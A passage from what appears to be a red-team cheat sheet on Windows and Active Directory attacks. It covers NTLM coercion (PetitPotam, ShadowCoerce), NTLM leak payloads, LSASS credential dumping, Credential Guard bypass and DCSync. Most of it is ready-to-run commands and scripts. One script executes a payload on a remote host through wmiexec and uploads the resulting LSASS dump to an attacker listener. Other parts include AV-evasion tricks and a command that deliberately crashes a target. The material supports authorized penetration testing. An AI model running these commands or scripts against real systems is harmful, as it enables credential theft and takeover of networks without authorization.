$ python3 PetitPotam.py -d '' -u '' -p '' 10.10.13.37 192.168.1.11 [-pipe all]
$ python3 PetitPotam.py -d '' -u '' -p '' attacker@80/test.txt 192.168.1.11
$ python3 PetitPotam.py -d '' -u '' -p '' attacker@SSL/test.txt 192.168.1.11
Cmd > .\PetitPotam.exe 10.10.13.37 192.168.1.11 1
Cmd > .\PetitPotam.exe attacker@80/test.txt 192.168.1.11 1
Cmd > .\PetitPotam.exe attacker@SSL/test.txt 192.168.1.11 1
```

PetitPotam any host (not only a DC with null sessions allowed for the `IPC$` share) without initial creds via proxying through an authenticated session on behalf a DC-relayed machine account:

```
$ python3 Petitpotam.py -d '' -u '' -p '' 10.10.13.37 192.168.1.11
Something went wrong, check error status => SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)

$ ntlmrelayx.py -ip 10.10.13.37 -t 192.168.1.11 -smb2support -socks --no-http-server --no-wcf-server --no-raw-server

$ python3 Petitpotam.py -d '' -u '' -p '' 10.10.13.37 DC1.megacorp.local
ntlmrelayx> socks
ntlmrelayx> stopservers

$ sudo ./Responder.py -I eth0 -vA 
$ proxychains4 python3 Petitpotam.py -d MEGACORP -u 'DC1$' -no-pass 10.10.13.37 192.168.1.11
```

{% hint style="info" %}
NTLM Relay DC1 to EXCH1 to get SOCKS ➡️ SOCKS proxy PetitPotam to EX1 as `DC1$` ➡️ NTLM Relay to EXCH2 to dump hashes
{% endhint %}

With Kerberos authentication:

```
$ getTGT.py megacorp.local/snovvcrash -hashes e929e69f7c290222be87968263a9282e:e929e69f7c290222be87968263a9282e -dc-ip 192.168.1.11
$ KRB5CCNAME=`pwd`/snovvcrash.ccache python3 PetitPotam.py -k -no-pass -d megacorp.local -u snovvcrash target.megacorp.local attacker.megacorp.local
```

### Theory

* <https://www.tiraniddo.dev/2021/08/how-windows-firewall-rpc-filter-works.html>
* <https://www.tiraniddo.dev/2021/08/how-to-secure-windows-rpc-server-and.html>
* <https://itm4n.github.io/fuzzing-windows-rpc-rpcview/>
* <https://itm4n.github.io/from-rpcview-to-petitpotam/>
* <https://clearbluejar.github.io/posts/from-ntobjectmanager-to-petitpotam/>

### Mitigation

* <https://kb.cert.org/vuls/id/405600>
* <https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/>
* <https://github.com/zeronetworks/rpcfirewall>

## ShadowCoerce (MS-FSRVP)

* <https://pentestlaboratories.com/2022/01/11/shadowcoerce/>
* <https://github.com/ShutdownRepo/ShadowCoerce>

```
$ python3 shadowcoerce.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' 10.10.13.37 192.168.1.11
```

## EvilentCoerce (MS-EVEN)

* <https://habr.com/ru/companies/tomhunter/articles/907068/>
* <https://github.com/Thunter-HackTeam/EvilentCoerce>

## WebDAV (WebClient)

* <https://pentestlab.blog/2021/10/20/lateral-movement-webclient/>
* <https://www.tiraniddo.dev/2015/03/starting-webclient-service.html>
* <https://github.com/Hackndo/WebclientServiceScanner>

Check if callback via WebDAV (HTTP) is possible. It **is** when the `WebClient` service is running. If it's possible, then [NTLM Relay to LDAPS](https://github.com/snovvcrash/PPN/blob/master/pentest/infrastructure/ad/kerberos/delegation-abuse/rbcd/README.md#dhcpv6-wpad-ntlm-relay-rbcd) on behalf of the relayed machine account is your chance for [RBCD workstation takeover](https://gist.github.com/gladiatx0r/1ffe59031d42c08603a3bde0ff678feb).

Check via PowerShell:

```
PS > Install-Module -Name NtObjectManager
PS > Get-NtFile -Win32Path '\\192.168.1.11\pipe\DAV RPC SERVICE'
```

Check via CME:

```
$ cme smb smb.txt -u snovvcrash -p 'Passw0rd!' -M webdav | grep -a 'WebClient Service enabled'
```

Check via [GetWebDAVStatus](https://github.com/G0ldenGunSec/GetWebDAVStatus):

```
PS > .\GetWebDAVStatus.exe SRV01,SRV02 --tc 1
```

### Enable WebClient

* <https://specterops.io/blog/2025/08/19/will-webclient-start/>

Put the `.searchConnector-ms` file on a writable share. When a domain user opens target folder in explorer, the WebClient service should start automatically:

{% code title="Documents.searchConnector-ms" %}

```
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>https://whatever/</url>
    </simpleLocation>
</searchConnectorDescription>
```

{% endcode %}

## CVE-2022-30216

* <https://www.akamai.com/blog/security/authentication-coercion-windows-server-service>
* <https://github.com/akamai/akamai-security-research/tree/main/cve-2022-30216>

## NTLM Leak

* <https://github.com/xct/hashgrab>
* <https://github.com/Gl3bGl4z/All_NTLM_leak>
* <https://specterops.io/blog/2025/08/22/operating-outside-the-box-ntlm-relaying-low-privilege-http-auth-to-ldap/>

Leak with PowerShell:

```
PS > IWR -UseDefaultCredentials http://10.10.13.37/index.html
```

Leak [with Python](https://stackoverflow.com/a/35577331):

```python
import win32com.client
URL = 'http://10.10.13.37/index.html'
COM_OBJ = win32com.client.Dispatch('WinHTTP.WinHTTPRequest.5.1')
COM_OBJ.SetAutoLogonPolicy(0)
COM_OBJ.Open('GET', URL, False)
COM_OBJ.Send()
print(COM_OBJ.ResponseText)
```

Leak with rpcping (catch with Responder's DCE-RPC listener):

```
Cmd > rpcping -s 10.10.13.37 -e 135 -a privacy -u NTLM
```

Leak with a hidden image:

```html
<img src="\\10.10.13.37\pwn.ico" height="1" width="1" />
```

Leak with a shortcut:

{% code title="lnk.ps1" %}

```powershell
$wsh = New-Object -ComObject WScript.Shell
$lnk = $wsh.CreateShortcut("\\SRV01\PublicShare\pwn.lnk")
$lnk.IconLocation = "\\10.10.13.37\pwn.ico"
$lnk.Save()
```

{% endcode %}

Leak with curl:

```
Cmd > curl.exe -i --ntlm -u : http://10.10.13.37/index.html
```

## Tools

### Coercer

* <https://github.com/p0dalirius/Coercer>

```
$ coercer coerce -u snovvcrash -p 'Passw0rd!' -f dc.txt -l 10.10.13.37 [--filter-pipe-name efsrpc] [--filter-method-name EfsRpcDuplicateEncryptionInfoFile] --auth-type smb --always-continue --delay 1
```


# Credentials Harvesting

* <https://www.synacktiv.com/publications/windows-secrets-extraction-a-summary>

## Tools

### SessionGopher

* <https://github.com/Arvanaghi/SessionGopher>

```
PS > Invoke-SessionGopher -Thorough
```

### Gopher

* <https://github.com/EncodeGroup/Gopher>

### LaZagne

* <https://github.com/AlessandroZ/LaZagne>

```
Cmd > .\lazagne.exe all [-v]
Cmd > .\lazagne.exe windows [-v]
```


# From Memory


# lsass.exe

Local Security Authority Subsystem Service

* <https://s3cur3th1ssh1t.github.io/Reflective-Dump-Tools/>
* <https://redteamrecipe.com/50-Methods-For-Dump-LSASS/>

## Enumeration

* <https://www.mdsec.co.uk/2022/08/fourteen-ways-to-read-the-pid-for-the-local-security-authority-subsystem-service-lsass/>

Check if lsass.exe is ran as a protected process (PPL):

```
PS > Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"
```

A legit way to disable it via [LSA Protected Process Opt-out](https://www.microsoft.com/en-us/download/details.aspx?id=40897):

```batch
mountvol X: /s
copy C:\LSAPPLConfig.efi X:\EFI\Microsoft\Boot\LSAPPLConfig.efi /Y
bcdedit /create {0cb3b571-2f2e-4343-a879-d86a476d7215} /d "DebugTool" /application osloader
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} path "\EFI\Microsoft\Boot\LSAPPLConfig.efi"
bcdedit /set {bootmgr} bootsequence {0cb3b571-2f2e-4343-a879-d86a476d7215}
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} loadoptions %1
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} device partition=X:
mountvol X: /d
shutdown -r -t 0
```

## MiniDumpWriteDump

### Parsers

* <https://github.com/cube0x0/MiniDump>
* <https://github.com/RobinFassinaMoschiniForks/LsaParser>
* <https://powerseb.github.io/posts/LSASS-parsing-without-a-cat/>
* <https://github.com/powerseb/PowerExtract>

### Custom Implementations

* <https://github.com/rookuu/BOFs/tree/main/MiniDumpWriteDump>
* <https://github.com/w1u0u1/minidump>
* <https://github.com/helpsystems/nanodump/blob/main/source/nanodump.c>
* <https://github.com/YOLOP0wn/POSTDump/tree/main/POSTDump/POSTMiniDump>
* <https://ricardojoserf.github.io/nativedump/>
* <https://github.com/ricardojoserf/NativeDump>

### MiniDump Callbacks

* <https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass#minidumpwritedump-to-memory-using-minidump-callbacks>
* <https://github.com/m0rv4i/SafetyDump/blob/master/SafetyDump/Program.cs>
* <https://dec0ne.github.io/research/2022-11-14-Undetected-Lsass-Dump-Workflow/>

## Reusing Open Handles

* <https://rastamouse.me/duplicating-handles-in-csharp/>
* <https://rastamouse.me/dumping-lsass-with-duplicated-handles/>

### pypykatz

* <https://skelsec.medium.com/duping-av-with-handles-537ef985eb03>

```
Cmd > .\pypykatz.exe live lsa --method handledup
```

### SharpHandler

* <https://github.com/jfmaes/SharpHandler>
* <https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-SharpHandler.ps1>

Scan if there are dupeable handles to use:

```
PS > Invoke-SharpHandler -C "-s"
```

Write a gzip-compressed minidump to specified location:

```
PS > Invoke-SharpHandler -C "-w -c -l=C:\Windows\Temp\pony.dat"
```

Dump and parse with SharpKatz's `logonpasswords`:

```
PS > Invoke-SharpHandler -C "-d"
```

### HandleKatz

* <https://github.com/codewhitesec/HandleKatz>

```
$ x86_64-w64-mingw32-gcc -o loader.exe loader.cpp -lcrypt32
Cmd > .\loader.exe --pid:852 --outfile:C:\Windows\Temp\dump.obfuscated
```

### LetMeowIn

* <https://github.com/Meowmycks/LetMeowIn>

## Silent Process Exit

* <https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/>
* <https://github.com/deepinstinct/LsassSilentProcessExit>
* <https://github.com/lengjibo/RedTeamTools/tree/master/windows/LsassSilentProcessExit>
* <https://github.com/CompassSecurity/PowerLsassSilentProcessExit>
* <https://gitlab.com/KevinJClark/csharptoolbox/-/blob/master/ShhProcessExit.cs>

## Remove PPL Protection

* <https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html>
* <https://itm4n.github.io/lsass-runasppl/>
* <https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/>
* <https://github.com/itm4n/PPLdump>
* <https://itm4n.github.io/the-end-of-ppldump/>
* <https://github.com/RedCursorSecurityConsulting/PPLKiller>
* <https://tastypepperoni.medium.com/running-exploit-as-protected-process-ligh-from-userland-f4c7dfe63387>
* <https://github.com/tastypepperoni/RunAsWinTcb>

Using Mimikatz driver:

```
PS > sc.exe create mimidrv binPath= C:\Windows\Tasks\mimidrv.sys type= kernel start= demand
PS > sc.exe start mimidrv
PS > Invoke-Mimikatz -Command '"!processprotect /process:lsass.exe /remove" "exit"'
```

## Load SSP

* <https://blog.xpnsec.com/exploring-mimikatz-part-2/>
* <https://www.programmersought.com/article/65604621980/>
* <https://russianblogs.com/article/42611473286/>
* <https://xakep.ru/2023/03/15/windows-password/>
* <https://github.com/jas502n/mimikat_ssp>

### SspirConnectRpc

* <https://itm4n.github.io/ghost-in-the-ppl-part-2/>
* <https://github.com/itm4n/Pentest-Windows/blob/main/NdrServerCallAll/DuplicateHandle.cpp>

### MirrorDump

* <https://github.com/CCob/MirrorDump>
* <https://github.com/snovvcrash/MirrorDump>

```
Cmd > .\MirrorDump.exe -f "NotLSASS.zip" -d "LegitLSAPlugin.dll" -l 1073741824
Cmd > .\MirrorDump.exe --parse

$ python3 MirrorDump.py 0.0.0.0 31337 --md5 --parse
Cmd > .\MirrorDump.exe --host 10.10.13.37 --port 31337
```

### DuplicateDump

* <https://github.com/Hagrid29/DuplicateDump>

### nanodump

* <https://www.coresecurity.com/core-labs/articles/nanodump-red-team-approach-minidumps>
* <https://github.com/helpsystems/nanodump>

```
Cmd > .\load_ssp.x64.exe C:\Windows\Temp\nanodump_ssp.x64.dll
beacon> load_ssp
```

Do it automatically with `wmiexec.py` magic (using [this](https://gist.github.com/mildred/67d22d7289ae8f16cae7) Python HTTP server with PUT support):

{% code title="nanodump\_ssp.sh" %}

```bash
#!/usr/bin/env bash

# Usage: sudo nanodump_ssp.sh <[DOMAIN\]USERNAME>:<PASSWORD> <TARGET> <LISTENER>
# Example: sudo nanodump_ssp.sh 'megacorp.local\snovvcrash:Passw0rd!' 192.168.1.11 10.10.13.37 80

CREDS=$1
RHOST=$2
LHOST=$3
LPORT=$4

CMD="IWR -Uri http://${LHOST}/a.exe -OutFile C:\Windows\Temp\a.exe;IWR -Uri http://${LHOST}/a.dll -OutFile C:\Windows\Temp\a.dll;C:\Windows\Temp\a.exe C:\Windows\Temp\a.dll"
CMD_BASE64=`echo -n ${CMD} | iconv -t UTF-16LE | base64 -w0`

python3 -m http.server ${LPORT} &

wmiexec.py -silentcommand -nooutput ${CREDS}@${RHOST} "powershell -enc ${CMD_BASE64}"
sleep 10

kill -9 `netstat -tulpan | grep ${LPORT} | grep python | awk '{ print $7 }' | awk -F/ '{ print $1 }'`
python3 put.py --bind=0.0.0.0 ${LPORT} &

CMD="IWR -Uri http://${LHOST}/out.bin -Method PUT -InFile C:\Windows\Temp\report.docx;rm C:\Windows\Temp\a.exe;rm C:\Windows\Temp\a.dll;rm C:\Windows\Temp\report.docx"
CMD_BASE64=`echo -n ${CMD} | iconv -t UTF-16LE | base64 -w0`

wmiexec.py -silentcommand -nooutput ${CREDS}@${RHOST} "powershell -enc ${CMD_BASE64}"
sleep 30

kill -9 `netstat -tulpan | grep ${LPORT} | grep python | awk '{ print $7 }' | awk -F/ '{ print $1 }'`

bash restore_signature.sh out.bin
pypykatz lsa minidump out.bin

chown ${SUDO_USER}:${SUDO_USER} out.bin
```

{% endcode %}

#### RToolZ

* <https://github.com/OmriBaso/RToolZ>

## Bypass Saving on Disk Detection

* <https://www.bussink.net/lsass-minidump-file-seen-as-malicious-by-mcafee-av/>
* <https://github.com/k4nfr3/Dumpert>

## NTFS Transactions

### TransactedSharpMiniDump

* <https://www.cybermongol.ca/operator-research/dump-lsass-with-sharpminidump-ntfs-transactions-uac-bypass-exfil-dmp-file-to-dropbox>
* <https://github.com/PorLaCola25/TransactedSharpMiniDump>

### CredBandit

* <https://www.cobaltstrike.com/blog/credbandit-a-review-of-a-tool-developed-built-by-the-cobalt-strike-user-community/>
* <https://github.com/anthemtotheego/CredBandit>
* <https://github.com/xforcered/CredBandit>
* <https://github.com/xenoscr/compressedCredBandit>

### Dumpy

* <https://github.com/Kudaes/Dumpy/blob/341a7e47ab0e12ae3635cd0077fff1a172fef769/dumpy/dumper/src/lib.rs#L216-L429>

## Kernel Mode

* <https://zerosum0x0.blogspot.com/2020/08/sassykitdi-kernel-mode-tcp-sockets.html>

### Abusing Gigabyte Driver

**CVE-2018-19320**

* <https://www.matteomalvica.com/blog/2020/07/15/silencing-the-edr/>
* <https://www.secureauth.com/labs-old/gigabyte-drivers-elevation-of-privilege-vulnerabilities/>
* <https://github.com/uf0o/windows-ps-callbacks-experiments/tree/master/evil-driver>
* <https://github.com/fengjixuchui/gdrv-loader>
* <https://github.com/ASkyeye/CVE-2018-19320>

## Physical Memory

Convert VMware snapshot to a memory dump with [vmss2core](https://kb.vmware.com/s/article/2003941):

```
Cmd > vmss2core.exe -W/-W8 Snapshot.vmsn Snapshot.vmem
```

### Crash Dumps

* <https://danielsauder.com/2016/02/06/memdumps-volatility-mimikatz-vms-part-3-windbg-mimikatz-extension/>

Get current `CrashControl` settings and set `CrashDumpEnabled` to **0x01** (default dump location is `C:\Windows\MEMORY.dmp`):

```
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 query -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\CrashControl'
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 add -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\CrashControl' -v CrashDumpEnabled -vt REG_DWORD -vd 1
```

Crash the target machine, e. g. with [NotMyFault](https://learn.microsoft.com/en-us/sysinternals/downloads/notmyfault):

{% hint style="warning" %}
**This action causes DOS!** Do at your own risk.
{% endhint %}

```
$ cme smb 192.168.1.1 -u snovvcrash -p 'Passw0rd!' -x '\\10.10.13.37\notmyfaultc64.exe -accepteula /crash 0x03' --no-output
```

Parse LSASS with Mimikatz and [WinDbg](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools#small-classic-windbg-preview-logo-debugging-tools-for-windows-windbg):

```
kd> .load C:\mimilib.dll
kd> .SymFix
kd> .Reload
kd> !process 0 0 lsass.exe
kd> .process /r /p fffffa80072b2b10
kd> !mimikatz
```

{% hint style="info" %}
To add debug symbols: `File` → `Symbol file path` → `SRV*https://msdl.microsoft.com/download/symbols`.
{% endhint %}

Or with [Pypykatz plugin](https://github.com/skelsec/pypykatz-volatility3) for Volatility 3:

```
$ pip install volatility3 pypykatz
$ git clone https://github.com/volatilityfoundation/volatility3 ~/tools/volatility3
$ git clone https://github.com/skelsec/pypykatz-volatility3 ~/tools/pypykatz-volatility3
$ cd ~/tools/volatility3
$ python3 vol.py -f /path/to/MEMORY.dmp -p ../pypykatz-volatility3 pypykatz
```

{% hint style="info" %}
[Current](https://github.com/skelsec/pypykatz-volatility3/blob/38c96c5d8053c38f1ac594f4c50bd54561f88534/vol_pypykatz.py) version of `vol_pypykatz.py` need some changes to work with relevant version of Volatility 3:

{% code title="vol\_pypykatz.py.patch" %}

```diff
diff --git a/vol_pypykatz.py b/vol_pypykatz.py
index 6c9592f..f53da1d 100644
--- a/vol_pypykatz.py
+++ b/vol_pypykatz.py
@@ -19,7 +19,7 @@ vollog = logging.getLogger(__name__)

 class pypykatz(interfaces.plugins.PluginInterface):

-    _required_framework_version = (1, 0, 0)
+    _required_framework_version = (2, 0, 0)

     @classmethod
     def get_requirements(cls) -> List[interfaces.configuration.RequirementInterface]:
@@ -38,18 +38,4 @@ class pypykatz(interfaces.plugins.PluginInterface):
         ]

     def run(self):
-        return renderers.TreeGrid(
-            [
-                ("Credential Type", str),
-                ("Domain Name", str),
-                ("Username", str),
-                ("NThash", str),
-                ("LMHash", str),
-                ("SHAHash", str),
-                ("masterkey", str),
-                ("masterkey (sha1)", str),
-                ("key_guid", str),
-                ("password", str),
-            ],
-            pparser.go_volatility3(self),
-        )
+        return pparser.go_volatility3(self)
```

{% endcode %}
{% endhint %}

### Physmem2profit

* <https://labs.withsecure.com/blog/rethinking-credential-theft/>
* <https://github.com/FSecureLABS/physmem2profit>
* <https://github.com/Velocidex/WinPmem/releases/tag/v4.0.rc1>

Server:

```
PS > .\Physmem2profit.exe --ip 192.168.1.11 --port 1337 --verbose [--hidden]
```

Client:

```
$ python3 physmem2profit --host 192.168.1.11 --port 1337 --install "C:/Windows/Temp/winpmem_x64.sys" --mode all --driver winpmem
```

## Credential Guard

Check presence ([ref](https://gist.github.com/frayos/69fe2f3fa1990478f26c289baf7ca083)):

```powershell
$DevGuard = Get-CimInstance –ClassName Win32_DeviceGuard –Namespace root\Microsoft\Windows\DeviceGuard
if ($DevGuard.SecurityServicesConfigured -contains 1) {"Credential Guard configured"}
if ($DevGuard.SecurityServicesRunning -contains 1) {"Credential Guard running"}
```

### Patch and Bypass

* <https://icebreaker.team/blogs/sleeping-with-control-flow-guard/>

Patch the `g_fParameter_UseLogonCredential` and `g_IsCredGuardEnabled` variables by their hardcoded offsets within `wdigest.dll` loaded by LSASS:

* <https://teamhydra.blog/2020/08/25/bypassing-credential-guard/>
* <https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240>

Resolve `g_fParameter_UseLogonCredential` and `g_IsCredGuardEnabled` variable offsets dynamically at runtime:

* <https://itm4n.github.io/credential-guard-bypass/>
* <https://github.com/itm4n/Pentest-Windows/blob/main/CredGuardBypassOffsets/poc.cpp>

Two PoCs above merged:

* <https://gist.github.com/snovvcrash/43e976779efdd20df1596c6492198c99>

### PassTheChallenge

* <https://research.ifcr.dk/pass-the-challenge-defeating-windows-defender-credential-guard-31a892eee22>
* <https://github.com/ly4k/PassTheChallenge>

### CVE-2025-21299, CVE-2025-29809

* <https://www.netspi.com/blog/technical-blog/adversary-simulation/cve-2025-21299-cve-2025-29809-unguarding-microsoft-credential-guard/>

## Attacking vSphere

* <https://jamescoote.co.uk/introducing-sharpsphere/>
* <https://jamescoote.co.uk/Dumping-LSASS-with-SharpShere/>
* <https://github.com/JamesCooteUK/SharpSphere>

## Tools

### comsvcs.dll

* <https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz#comsvcs-dll>
* <https://github.com/Hackndo/lsassy/blob/master/lsassy/dumpmethod/comsvcs.py>
* <https://gist.github.com/JohnLaTwC/3e7dd4cd8520467df179e93fb44a434e>
* <https://sp00ks-git.github.io/posts/LSASS-Encrypted-Dump/>
* <https://badoption.eu/blog/2023/06/21/dumpit.html>

```
PS > $proc = 'ls'+'Ass'
PS > Get-Process $proc
PS > rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Windows\System32\spool\drivers\color\pony.dat full
```

Not touching the disk (using an SMB share):

```
PS > net use z: \\10.10.13.37\share
PS > rundll32.exe c:\Windows\System32\comsvcs.dll, MiniDump (Get-Process ('ls'+'Ass')).id z:\pony.dat full
```

One-liner:

```
Cmd > %COMSPEC% /Q /c echo powershell.exe -NoP -C "%WINDIR%\System32\rundll32.exe %WINDIR%\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id %WINDIR%\Temp\pony.arj full;Wait-Process -Id (Get-Process rundll32).Id" 2^>^&1 > temp.bat & %COMSPEC% /Q /c temp.bat & del temp.bat
```

### ProcDump

* <https://docs.microsoft.com/en-us/sysinternals/downloads/procdump>
* <https://download.sysinternals.com/files/Procdump.zip>
* <https://live.sysinternals.com/>

```
PS > wget http://live.sysinternals.com/PsExec64.exe -o psexec.exe
PS > .\procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp
```

#### Process Argument Spoofing

* <https://xre0us.io/posts/multidump/>
* <https://github.com/Xre0uS/MultiDump/tree/main>

### Mimikatz

* <https://github.com/gentilkiwi/mimikatz/releases>
* <https://redteamrecipe.com/64-Methods-For-Execute-Mimikatz/>

```
PS > .\mimikatz.exe "privilege::debug" "token::elevate" "log out.txt" "sekurlsa::logonpasswords full" "exit"
```

{% hint style="warning" %}
In case of Windows 10 version 1803-1809 use [Mimikatz v2.1.1](https://github.com/gentilkiwi/mimikatz/files/4167347/mimikatz_trunk.zip), see [Key import error](https://github.com/gentilkiwi/mimikatz/issues/248)
{% endhint %}

Parse MiniDump:

```
PS > .\mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" "exit"
```

Grep for creds:

```
$ grep -a '* Username : ' out.txt -A2 | grep -a -e Username -e Password -e NTLM | grep -a -v null | xclip -i -sel c
```

#### kiwi

```
meterpreter > getsystem
meterpreter > load kiwi
meterpreter > creds_msv
meterpreter > creds_wdigest
meterpreter > lsa_dump_secrets
meterpreter > creds_all
meterpreter > kiwi_cmd '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords full" "exit"'
```

### pypykatz

* <https://github.com/skelsec/pypykatz/releases/latest>

Install:

```
$ pipx install -f "git+https://github.com/skelsec/pypykatz.git"
$ pypykatz lsa minidump lsass.DMP [-k /tmp/krb] [-g/--grep] [-p msv wdigest kerberos]
```

Parse with jq one-liner:

```bash
pypykatz lsa minidump lsass.DMP --json > /tmp/lsass.json
cat /tmp/lsass.json | jq '.[].logon_sessions[] | "\nTime   : \(.logon_time)", "Server : \(.logon_server)", (.wdigest_creds[] | select(.password != null or .password_raw != "") | "WD     : \(.domainname)\\\(.username):\(.password // .password_raw)"), (.msv_creds[] | "NT     : \(.domainname)\\\(.username):\(.NThash // "N/A")"), (.kerberos_creds[] | select(.password != null or .password_raw != "") | "KRB    : \(.domainname)\\\(.username):\(.password // .password_raw)")' -r | tail -n +2 | bat --paging=never --theme=ansi
```

Pipe to the script to parse with colors:

{% code title="pypyparse.py" %}

```python
#!/usr/bin/python3
import re, sys
a = sys.stdin.read()
def pp(x): print(f'\033[1m[+] \033[93m{x}\033[0m')
s = set()
for m in re.findall(r'\s+Username: (.*)\n\s+Domain: (.*)\n.*\n\s+NT: (.*)', a):
    u, d, h = m
    if u and h: s.add(d + '\\' + f'{u}:{h}')
for i in s: pp(i)
s = set()
for m in re.findall(r'\s+Username: (.*)\n\s+Domain: (.*)\n\s+Password: (.*)', a):
    u, d, p = m
    if u and p: s.add(d + '\\' + f'{u}:{p}')
for i in s: pp(i)
s = set()
for m in re.findall(r'\s+username (.*)\n\s+domainname (.*)\n\s+password (.*)', a):
    u, d, p = m
    if u and p and p != 'None': s.add(d + '\\' + f'{u}:{p}')
for i in s: pp(i)
```

{% endcode %}

### spraykatz

* <https://github.com/aas-n/spraykatz>

```
$ python3 spraykatz.py -u snovvcrash -p 'Passw0rd!' -t 10.10.13.37,10.10.13.38,10.10.13.39
```

### Dumpert

* <https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/>
* <https://github.com/outflanknl/Dumpert>

Dump lsass.exe using direct syscalls and removing user-land API hooks:

```
Cmd > rundll32.exe .\Outflank-Dumpert-DLL.dll,Dump
```

Using [sRDI](https://www.netspi.com/blog/technical/adversary-simulation/srdi-shellcode-reflective-dll-injection/) (**s**hellcode **R**eflective **D**LL **I**njection) technique:

1. Compile [*Outflank-Dumpert-DLL.dll*](https://github.com/outflanknl/Dumpert/tree/master/Dumpert-DLL).
2. Convert it to position independent shellcode with [*ConvertToShellcode.py*](https://github.com/monoxgas/sRDI/blob/master/Python/ConvertToShellcode.py): `python3 ConvertToShellcode.py Outflank-Dumpert-DLL.dll`.
3. Use a shellcode loader of your choice to dump LSASS.

### lsassy

* <https://github.com/Hackndo/lsassy>
* <https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/modules/lsassy.py>
* <https://en.hackndo.com/remote-lsass-dump-passwords/>

```
$ lsassy 10.10.13.0/24 -d megacorp.local -u snovvcrash -p 'Passw0rd!'
$ cme smb 10.10.13.0/24 -u snovvcrash -p 'Passw0rd!' -M lsassy
```

### MalSeclogon

* <https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html>
* <https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html>
* <https://github.com/antonioCoco/MalSeclogon>

```
Cmd > Malseclogon.exe -p <LSASS_PID> -d 1
Cmd > Malseclogon.exe -p <LSASS_PID> -d 2
```


# svchost.exe

* <https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/>

Locate the svchost.exe process that's holding RDP creds:

```
Cmd > tasklist /M:rdpcorets.dll
```

Use ProcDump or comsvc.dll to dump process memory:

```
Cmd > .\procdump64.exe -accepteula -64 -ma <PROCESS_PID> svchost.dmp
Cmd > rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PROCESS_PID> C:\Windows\Temp\svchost.dmp full
```

Grep for plaintext passwords:

```
$ strings -el svchost.dmp | grep <USERNAME> -C1
```

## Mimikatz

```
Cmd > .\mimikatz.exe "privilege::debug" "token::elevate" "log out.txt" "ts::logonpasswords" "exit"
```


# Credential Phishing

* <https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/>

## CredentialPhisher

* <https://blog.fox-it.com/2018/08/14/phishing-ask-and-ye-shall-receive/>
* <https://github.com/fox-it/Invoke-CredentialPhisher>

## creds\_hunt

* <https://github.com/0xsp-SRD/0xsp.com/tree/main/creds_hunt>

## Fake Logon Screen

* <https://github.com/bitsadmin/fakelogonscreen>
* <https://github.com/BlacksunLabs/LockScream>
* <https://github.com/marduc812/Win10CredsThief>


# DCSync

DS-Replication-Get-Changes + DS-Replication-Get-Changes-All

* <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync>
* <https://habr.com/ru/company/rvision/blog/709866/>
* <https://habr.com/ru/company/rvision/blog/709942/>
* <https://nullg0re.com/2023/09/hijacking-someone-else-dcsync/>

{% embed url="<https://twitter.com/cnotin/status/1419944965443047424>" %}

{% embed url="<https://twitter.com/NotMedic/status/1535768397493026818>" %}

## Tools

### Mimikatz

```
mimikatz # lsadump::dcsync /domain:megacorp.local /user:MEGACORP\krbtgt
mimikatz # lsadump::dcsync /domain:megacorp.local /user:krbtgt@megacorp.local
```

#### Invoke-Mimikatz

* <https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/credentials/Invoke-Mimikatz.ps1>

```
PS > Invoke-Mimikatz -Command '"lsadump::dcsync /domain:megacorp.local /user:MEGACORP\krbtgt" "exit"'
```

### Invoke-DCSync.ps1

* <https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/credentials/Invoke-DCSync.ps1>

```
PS > Invoke-DCSync -GetComputers -Domain megacorp.local -DomainController DC1.megacorp.local
```

### DCSyncer

* <https://www.notsoshant.io/tools/dcsyncer/>
* <https://github.com/notsoshant/DCSyncer>

### secretsdump.py

```
$ secretsdump.py MEGACORP/snovvcrash:'Passw0rd!'@DC1.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt'
